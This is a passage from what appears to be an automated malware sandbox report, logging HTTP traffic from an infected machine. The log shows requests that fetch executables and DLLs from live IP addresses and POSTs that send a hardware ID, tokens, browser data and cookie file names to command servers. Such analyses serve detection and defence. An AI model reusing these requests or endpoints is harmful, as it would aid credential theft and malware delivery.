70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016966001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=GUE5t8uMtFJcYASq1734538118 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016967001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 37 34 43 37 33 39 36 35 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="hwid"2974C73965222838420810------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="build"stok------EBKEHJJDAAAAKECBGHDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGHIJJEHJDGCBFHCGIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 48 49 4a 4a 45 48 4a 44 47 43 42 46 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 48 49 4a 4a 45 48 4a 44 47 43 42 46 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 48 49 4a 4a 45 48 4a 44 47 43 42 46 48 43 47 49 2d 2d 0d 0a Data Ascii: ------AKEGHIJJEHJDGCBFHCGIContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------AKEGHIJJEHJDGCBFHCGIContent-Disposition: form-data; name="message"browsers------AKEGHIJJEHJDGCBFHCGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"plugins------KEHDBAEGIIIEBGCAAFHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016968001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"fplugins------JDAKJJDBGCAKKFHIJEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGIDHost: 185.215.113.206Content-Length: 7495Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------F9jE3jgXlsDgbMrDVqQwxVData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 39 6a 45 33 6a 67 58 6c 73 44 67 62 4d 72 44 56 71 51 77 78 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 6f 71 61 78 6f 6d 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cd 79 8a 52 b2 ab ef 61 ed bb 30 55 36 ae 78 60 cb 44 46 f8 bf 99 d7 e4 b7 14 68 2f 40 e2 7d e1 8e b6 64 56 30 a3 14 02 07 f7 2f b0 94 9d 41 d7 d3 48 7c c9 50 90 34 e6 50 17 42 2c 9f 31 d0 29 77 24 87 de 75 42 1f 48 01 14 0e 5f d6 16 02 f8 d1 d4 61 49 8e 5f 85 be b9 f6 5e 83 7b 6f 14 dd 6f 42 4a d7 66 a0 87 ff e0 23 90 a6 f6 1f d8 b6 f3 0f 95 56 b7 c1 a0 2a f5 1f 66 d2 9c 90 e3 f2 c3 c1 26 3a a7 1b 9c e2 c0 54 7c c5 c6 14 e2 56 27 88 3f cd f0 53 88 22 51 86 c8 28 68 b4 4e 5c e1 15 5e ff 48 ab 91 1c 03 b7 0c 03 92 50 67 18 97 46 bd cc 83 d5 53 fe 50 e4 82 71 be 3e b0 f2 32 88 5d e7 06 07 2c 09 09 b4 90 d0 ea 94 3c 66 dc 58 3d fc d6 57 45 f4 19 30 fe 5a 0f 4f a2 e7 9a ed ca 60 57 0f a0 69 64 bf ef 57 2f e6 0e 0f 1d 5d 5f fc 94 43 ee d4 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 39 6a 45 33 6a 67 58 6c 73 44 67 62 4d 72 44 56 71 51 77 78 56 2d 2d 0d 0a Data Ascii: --------------------------F9jE3jgXlsDgbMrDVqQwxVContent-Disposition: form-data; name="file"; filename="Loqaxomo.bin"Content-Type: application/octet-streamyRa0U6x`DFh/@}dV0/AH\|P4PB,1)w$uBH_aI_^{ooBJf#V*f&:T\|V'?S"Q(hN\^HPgFSPq>2],<fX=WE0ZO`WidW/]_C--------------------------F9jE3jgXlsDgbMrDVqQwxV--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016969001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 81766Content-Type: multipart/form-data; boundary=------------------------uCPwyxxLhYjLA0axEek2UKData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 75 43 50 77 79 78 78 4c 68 59 6a 4c 41 30 61 78 45 65 6b 32 55 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 61 6c 69 6b 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a dc 54 18 67 27 e8 05 8a 6e dd 78 0c d3 28 60 ac ce 6f 6f 37 83 cc e1 ef 29 ce 9b 50 2c bc d2 ff 2b 7a 7c 66 a9 57 90 9c 06 7c da 67 68 5d f2 46 d2 fd 40 57 8a 08 c0 6c 30 c2 b1 30 cb 62 49 87 ce 03 32 49 c5 9b 14 df a9 20 df 18 97 45 b5 9b 90 91 4b 26 f2 1f 60 a3 37 13 38 8a c2 bc 8c 75 55 78 4f 58 94 e1 b0 6c 95 4f 5d cf 64 99 85 48 1d 63 b0 a8 0b d7 ea 93 83 b4 e6 b2 44 39 49 5f 12 24 fe f9 06 b3 0b c0 3e fa e4 1d 16 8c 9b ef 32 f1 c5 5b cd 21 35 57 aa 5f 94 bf 78 91 84 c2 4f 10 cf e7 8b b9 1b a1 44 98 a4 13 1d 0d 60 2c 28 c8 76 cb da 70 cc 81 cf ec 0c 7e a5 63 7f dd 62 ff 8a b5 0a 70 ed cf 70 b2 b0 91 a9 7e 96 4c 56 72 79 dc 99 5b e8 fa 76 84 fe 80 73 1f 39 7a 70 3c f8 91 2d f0 a4 20 4c 79 e3 72 c6 be 99 db 75 72 94 6d 5d 54 63 6a 1c 3c 38 00 dc 48 f9 fa 14 98 16 0d 4a d1 3d aa e2 e0 dc b5 bc 76 4a 77 5c 6a 72 4e 3e 07 a3 67 df 51 1b 57 e7 16 0f 8c 28 e0 f5 c4 11 d5 d7 9f af a3 05 af 36 5a 31 93 ac d9 3b 8a 68 09 22 af c7 61 da 42 5a 53 fa ae 2b fc 31 e7 c5 63 87 ad 08 c4 5f c0 a4 a4 f8 2d b1 fc 30 51 fd 01 e2 e0 74 42 c2 0b 18 65 a1 46 95 82 87 ab 1a 22 81 2d e0 40 05 54 db 86 fa 4a 5b 1b 75 3b de bd 67 11 e3 29 eb d3 84 5a c4 46 73 e4 2a a5 2e c9 1a 9d 6e 78 0e 29 9e 3b 2b 40 53 02 97 d3 1a a2 a8 62 c0 51 1f b7 06 b7 8f 93 41 9b 89 24 20 1c 9b 80 f4 e7 74 1b 4c 3d d4 3d 89 e7 e8 b2 92 8f 55 9f 25 1e 9a 7a 28 95 15 6c af 66 68 cf a4 0f d2 2e 28 cd 03 2d 42 a7 df c3 b4 71 fe 85 ff f3 64 1b f5 19 f9 97 a7 25 3e 77 9f 27 bd 96 e0 3f 52 ae 6b 84 20 b5 4e 05 35 b0 85 63 2e ba 46 bb 9a 11 d2 70 7e b9 8b 39 40 ce 02 0a 38 61 60 c0 92 62 10 cb bd 74 c9 a8 8f 05 45 42 34 62 4c fb e4 6c 07 16 eb d3 69 96 44 9a ef 28 1c fb dc ee 81 ab c2 2b 85 d9 38 a8 21 31 5d 7e 91 b4 ef c7 ac 89 5d e7 be 67 c2 5b 27 5a 2e e1 ee 27 98 45 c3 81 d4 3f 73 fa ff 2c 9a 1e c0 5e dd e7 6d bf 98 c3 8c c8 2e a5 ce 11 d1 2f f5 6f b2 f8 2f 30 44 77 b0 bf f5 f6 bd 1b 03 37 37 f2 41 47 98 cf c1 e8 66 b4 a8 22 2f d4 cf d8 e0 3c 16 ce 67 c1 f0 ec 2a 7e 28 a4 d3 8f ba 21 17 c6 58 a2 0f 97 f9 fd ac ec 96 75 ec 9a 9c 9d d6 f5 78 c7 bd 89 5a 70 ac 40 1b 9e cf c0 37 69 50 50 04 1c 91 ec 92 c7 ec 52 d3 3b f5 21 05 18 24 61 0a c1 c2 a9 8b 25 38 79 8c 22 31 4b a3 29 97 79 6e 0b 83 08 33 85 13 f4 3a ed bf 83 06 6f ce 27 5e bc fa 61 cf b1 10 80 24 b8 fe b4 53 84 7f 8b 96 cc ab 35 bf 78 35 18 fd 3c 7d b7 a9 d0 59 ac 23 2b 9e ec 14 f0
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHIHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DAECFIJDAAAKECBFCGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016970001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHDAKFIJJKKEBGDBAAKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 2d 2d 0d 0a Data Ascii: ------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file"------AEHDAKFIJJKKEBGDBAAK--
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="file"------JDGIECGIEBKJJJJKEGHJ--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016971001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016972001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 